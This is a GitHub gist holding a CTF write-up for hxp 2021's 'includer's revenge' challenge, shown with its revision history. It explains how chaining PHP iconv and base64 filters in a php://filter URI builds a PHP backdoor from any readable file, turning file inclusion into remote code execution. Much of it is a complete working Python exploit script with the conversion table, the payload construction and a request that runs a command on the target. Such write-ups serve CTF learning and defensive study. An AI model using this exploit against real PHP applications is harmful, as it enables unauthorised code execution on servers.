Skip to content

Instantly share code, notes, and snippets.

@loknop
Last active October 16, 2025 14:27
Show Gist options
  • Save loknop/b27422d355ea1fd0d90d6dbc1e278d4d to your computer and use it in GitHub Desktop.
Save loknop/b27422d355ea1fd0d90d6dbc1e278d4d to your computer and use it in GitHub Desktop.

Revisions

  1. loknop revised this gist Sep 1, 2025. 1 changed file with 2 additions and 3 deletions.
    5 changes: 2 additions & 3 deletions writeup.md
    Original file line number Diff line number Diff line change
    @@ -19,9 +19,8 @@ is what I came up with after spending quite some time thinking about this:

    After playing around a little, I noticed two interesting things:
    - `convert.iconv.UTF8.CSISO2022KR` will always prepend `\x1b$)C` to the string
    - `convert.base64-decode` is extremely tolerant, it will basically just ignore any characters that aren't valid base64.

    (To not take credit for other people's work here: the base64 decoder behavior was shown in the [solution for the counter challenge](https://hxp.io/blog/89/hxp-CTF-2021-counter-writeup/) of the same ctf)
    - `convert.base64-decode` is extremely tolerant, it will basically just ignore any characters that aren't valid base64.
    (the decoder behavior was shown in the [solution for the counter challenge](https://hxp.io/blog/89/hxp-CTF-2021-counter-writeup/) of the same ctf)

    Using these we can do the following:
    1. prepend `\x1b$)C` to our string as described above
  2. loknop revised this gist Aug 28, 2025. 1 changed file with 2 additions and 0 deletions.
    2 changes: 2 additions & 0 deletions writeup.md
    Original file line number Diff line number Diff line change
    @@ -21,6 +21,8 @@ After playing around a little, I noticed two interesting things:
    - `convert.iconv.UTF8.CSISO2022KR` will always prepend `\x1b$)C` to the string
    - `convert.base64-decode` is extremely tolerant, it will basically just ignore any characters that aren't valid base64.

    (To not take credit for other people's work here: the base64 decoder behavior was shown in the [solution for the counter challenge](https://hxp.io/blog/89/hxp-CTF-2021-counter-writeup/) of the same ctf)

    Using these we can do the following:
    1. prepend `\x1b$)C` to our string as described above
    2. apply some chain of iconv conversions that leaves our initial base64 intact
  3. loknop created this gist Dec 30, 2021.
    116 changes: 116 additions & 0 deletions writeup.md
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,116 @@
    # Solving "includer's revenge" from hxp ctf 2021 without controlling any files
    # The challenge
    The challenge was to achieve RCE with this file:
    ```php
    <?php ($_GET['action'] ?? 'read' ) === 'read' ? readfile($_GET['file'] ?? 'index.php') : include_once($_GET['file'] ?? 'index.php');
    ```
    Some additional hardening was applied to the php installation to make sure that previously known solutions wouldn't work (for further information read [this writeup from the challenge author](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)).

    I didn't solve the challenge during the competition - [here is a writeup from someone who did](https://lewin.co.il/winning-the-impossible-race-an-unintended-solution-for-includers-revenge-counter-hxp-2021/) - but since the idea I had differed from the techniques used in the published writeups I read (and I thought it was cool :D), here is my approach.

    ## The rough Idea

    During the competition I read [this blogpost from gynvael](https://gynvael.coldwind.pl/?id=671) where he bypassed a filter using the `convert.iconv` functionality of `php://filter/` and wondered
    if that trick could be used to generate a php backdoor ... turns out it can be used for that :D

    There are probably different/better solutions that take a similar approach, but here
    is what I came up with after spending quite some time thinking about this:


    After playing around a little, I noticed two interesting things:
    - `convert.iconv.UTF8.CSISO2022KR` will always prepend `\x1b$)C` to the string
    - `convert.base64-decode` is extremely tolerant, it will basically just ignore any characters that aren't valid base64.

    Using these we can do the following:
    1. prepend `\x1b$)C` to our string as described above
    2. apply some chain of iconv conversions that leaves our initial base64 intact
    and converts the part we just prepended to some string where the only valid
    base64 char is the next part of our base64-encoded php code
    3. base64-decode and base64-encode the string which will remove any garbage in between
    4. Go back to 1 if the base64 we want to construct isn't finished yet
    5. base64-decode to get our php code

    ## Getting the filter chains for step 2
    I pretty much got these by just bruteforcing one conversion step at a time, looking at the results
    and then choosing interesting results from which to continue.
    (Considering the amount of time this cost me it probably would've been better to automate this entirely 🙃)
    While bruteforcing I had to try all the aliases from `iconv -l` since somehow none of the iconv versions I found
    online seemed to match in terms of alias names.

    ## Some problems I encountered
    - Pretty much the only condition I encountered where the convert.base64-decode filter would fail is if it encounters an equal sign when it didn't expect one, luckily we can again use iconv and convert from UTF8 to UTF7 which will turn any equal signs in the string into some base64.
    - If we base64-decode a string that doesn't have 4*n characters then the result
    won't fit into whole bytes. The `convert.base64-decode` implementation deals with
    this by just ignoring the last bits until the result is a multiple of 8 bits again.
    This means that until we arrive at our desired base64 we will lose some bytes at the end of our string. This isn't an issue if we read from a file like `/etc/passwd` but we can just generate some garbage base64 before beginning to make sure that this will work even if the file is empty.

    ## Getting the flag
    Now that we have our string of filters that will generate our backdoor getting the flag is as easy as
    ```python
    r = requests.get(challenge_url, params={
    "0": "/readflag",
    "action": "include",
    "file": f"php://filter/{filters}/resource={any_file_we_can_read}"
    })
    print(r.text)
    ```
    # Full script
    ```python
    import requests

    url = "http://localhost/index.php"
    file_to_use = "/etc/passwd"
    command = "/readflag"

    #<?=`$_GET[0]`;;?>
    base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"

    conversions = {
    'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
    }


    # generate some garbage base64
    filters = "convert.iconv.UTF8.CSISO2022KR|"
    filters += "convert.base64-encode|"
    # make sure to get rid of any equal signs in both the string we just generated and the rest of the file
    filters += "convert.iconv.UTF8.UTF7|"


    for c in base64_payload[::-1]:
    filters += conversions[c] + "|"
    # decode and reencode to get rid of everything that isn't valid base64
    filters += "convert.base64-decode|"
    filters += "convert.base64-encode|"
    # get rid of equal signs
    filters += "convert.iconv.UTF8.UTF7|"

    filters += "convert.base64-decode"

    final_payload = f"php://filter/{filters}/resource={file_to_use}"

    r = requests.get(url, params={
    "0": command,
    "action": "include",
    "file": final_payload
    })

    print(r.text)
    ```